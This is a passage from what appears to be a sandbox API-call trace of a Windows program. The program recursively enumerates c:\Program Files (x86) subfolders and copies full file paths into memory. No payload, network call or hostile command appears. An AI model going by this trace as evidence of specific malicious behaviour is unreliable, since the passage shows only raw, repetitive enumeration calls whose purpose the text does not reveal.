hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.420] lstrcmpW (lpString1="wmpnssci.dll", lpString2=".") returned 1 [0120.420] lstrcmpW (lpString1="wmpnssci.dll", lpString2="..") returned 1 [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.420] lstrlenW (lpString="wmpnssci.dll") returned 12 [0120.420] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned 56 [0120.420] lstrcpyW (in: lpString1=0x24a5e78, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpnssci.dll" [0120.420] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.420] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2=".") returned 1 [0120.420] lstrcmpW (lpString1="WMPNSSUI.dll", lpString2="..") returned 1 [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.420] lstrlenW (lpString="WMPNSSUI.dll") returned 12 [0120.420] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned 56 [0120.420] lstrcpyW (in: lpString1=0x24a5ef8, lpString2="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll") returned="c:\\Program Files (x86)\\Windows Media Player\\WMPNSSUI.dll" [0120.420] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.420] lstrcmpW (lpString1="wmprph.exe", lpString2=".") returned 1 [0120.420] lstrcmpW (lpString1="wmprph.exe", lpString2="..") returned 1 [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.420] lstrlenW (lpString="wmprph.exe") returned 10 [0120.420] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned 54 [0120.420] lstrcpyW (in: lpString1=0x24a0e70, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmprph.exe" [0120.420] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.420] lstrcmpW (lpString1="wmpshare.exe", lpString2=".") returned 1 [0120.420] lstrcmpW (lpString1="wmpshare.exe", lpString2="..") returned 1 [0120.420] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\") returned 44 [0120.421] lstrlenW (lpString="wmpshare.exe") returned 12 [0120.421] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Media Player\\", lpString2="wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0120.421] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned 56 [0120.421] lstrcpyW (in: lpString1=0x24a5f78, lpString2="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe") returned="c:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe" [0120.421] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0120.421] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0120.421] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0120.421] lstrcmpW (lpString1="Windows NT", lpString2=".") returned 1 [0120.421] lstrcmpW (lpString1="Windows NT", lpString2="..") returned 1 [0120.421] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0120.421] lstrlenW (lpString="Windows NT") returned 10 [0120.421] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows NT" | out: lpString1="c:\\Program Files (x86)\\Windows NT") returned="c:\\Program Files (x86)\\Windows NT" [0120.421] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\") returned="c:\\Program Files (x86)\\Windows NT\\" [0120.421] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0120.421] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\*") returned="c:\\Program Files (x86)\\Windows NT\\*" [0120.421] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0120.562] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.562] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.562] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.562] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.562] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.562] lstrcmpW (lpString1="Accessories", lpString2=".") returned 1 [0120.562] lstrcmpW (lpString1="Accessories", lpString2="..") returned 1 [0120.562] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0120.562] lstrlenW (lpString="Accessories") returned 11 [0120.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="Accessories" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories") returned="c:\\Program Files (x86)\\Windows NT\\Accessories" [0120.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\" [0120.562] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0120.562] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\*") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\*" [0120.562] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\Accessories\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0120.691] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.691] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.691] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.691] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.691] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.691] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0120.691] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0120.691] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0120.691] lstrlenW (lpString="en-US") returned 5 [0120.691] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\en-US" [0120.691] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.691] lstrcmpW (lpString1="wordpad.exe", lpString2=".") returned 1 [0120.691] lstrcmpW (lpString1="wordpad.exe", lpString2="..") returned 1 [0120.691] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0120.691] lstrlenW (lpString="wordpad.exe") returned 11 [0120.691] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0120.691] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned 57 [0120.691] lstrcpyW (in: lpString1=0x24a5ff8, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\wordpad.exe" [0120.691] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.691] lstrcmpW (lpString1="WordpadFilter.dll", lpString2=".") returned 1 [0120.691] lstrcmpW (lpString1="WordpadFilter.dll", lpString2="..") returned 1 [0120.691] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\") returned 46 [0120.691] lstrlenW (lpString="WordpadFilter.dll") returned 17 [0120.691] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\", lpString2="WordpadFilter.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0120.691] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned 63 [0120.691] lstrcpyW (in: lpString1=0x24a2650, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0120.691] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0120.691] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0120.691] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.692] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2=".") returned 1 [0120.692] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2="..") returned 1 [0120.692] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0120.692] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0120.692] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0120.692] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned 62 [0120.692] lstrcpyW (in: lpString1=0x24a26d8, lpString2="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0120.692] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0120.692] lstrcmpW (lpString1="TableTextService", lpString2=".") returned 1 [0120.692] lstrcmpW (lpString1="TableTextService", lpString2="..") returned 1 [0120.692] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0120.692] lstrlenW (lpString="TableTextService") returned 16 [0120.692] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="TableTextService" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService" [0120.692] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\" [0120.692] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0120.692] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*" [0120.692] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0120.795] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0120.795] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.795] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0120.795] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0120.795] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.795] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0120.795] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0120.795] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0120.795] lstrlenW (lpString="en-US") returned 5 [0120.795] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US" [0120.795] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.795] lstrcmpW (lpString1="TableTextService.dll", lpString2=".") returned 1 [0120.795] lstrcmpW (lpString1="TableTextService.dll", lpString2="..") returned 1 [0120.795] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0120.795] lstrlenW (lpString="TableTextService.dll") returned 20 [0120.795] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0120.795] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned 71 [0120.795] lstrcpyW (in: lpString1=0x24a85a8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0120.795] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.795] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2=".") returned 1 [0120.795] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2="..") returned 1 [0120.795] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0120.795] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0120.795] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0120.795] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned 78 [0120.795] lstrcpyW (in: lpString1=0x24a8640, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0120.795] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.795] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2=".") returned 1 [0120.795] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2="..") returned 1 [0120.795] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0120.795] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0120.795] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0120.795] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned 76 [0120.795] lstrcpyW (in: lpString1=0x24a86e8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0120.796] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.796] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2=".") returned 1 [0120.796] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2="..") returned 1 [0120.796] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0120.796] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0120.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0120.796] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned 75 [0120.796] lstrcpyW (in: lpString1=0x24a8790, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0120.796] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.796] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".") returned 1 [0120.796] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="..") returned 1 [0120.796] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0120.796] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0120.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0120.796] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned 88 [0120.796] lstrcpyW (in: lpString1=0x24a8830, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0120.796] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.796] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".") returned 1 [0120.796] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="..") returned 1 [0120.796] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0120.796] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0120.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0120.796] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned 90 [0120.796] lstrcpyW (in: lpString1=0x24a88f0, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0120.796] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.796] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".") returned 1 [0120.796] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="..") returned 1 [0120.796] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0120.796] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0120.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0120.796] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned 88 [0120.796] lstrcpyW (in: lpString1=0x24a89b0, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0120.796] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0120.796] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2=".") returned 1 [0120.796] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2="..") returned 1 [0120.796] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0120.796] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0120.796] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0120.796] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned 73 [0120.796] lstrcpyW (in: lpString1=0x24a8a70, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0120.796] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0120.796] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0120.797] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0 [0120.797] FindClose (in: hFindFile=0x825720 | out: hFindFile=0x825720) returned 1 [0120.797] FindNextFileW (in: hFindFile=0x8256e0, lpFindFileData=0x34f308 | out: lpFindFileData=0x34f308) returned 1 [0120.797] lstrcmpW (lpString1="Windows Photo Viewer", lpString2=".") returned 1 [0120.797] lstrcmpW (lpString1="Windows Photo Viewer", lpString2="..") returned 1 [0120.797] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0120.797] lstrlenW (lpString="Windows Photo Viewer") returned 20 [0120.797] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Photo Viewer" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer") returned="c:\\Program Files (x86)\\Windows Photo Viewer" [0120.797] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\" [0120.797] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0120.797] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\*" [0120.797] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 0x825720 [0121.060] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.060] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.060] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.060] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.061] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.061] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0121.061] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0121.061] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0121.061] lstrlenW (lpString="en-US") returned 5 [0121.061] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US" [0121.061] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\" [0121.061] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0121.061] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*" [0121.061] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.061] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.061] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.061] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.061] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.061] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.061] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2=".") returned 1 [0121.061] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2="..") returned 1 [0121.061] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0121.061] lstrlenW (lpString="ImagingDevices.exe.mui") 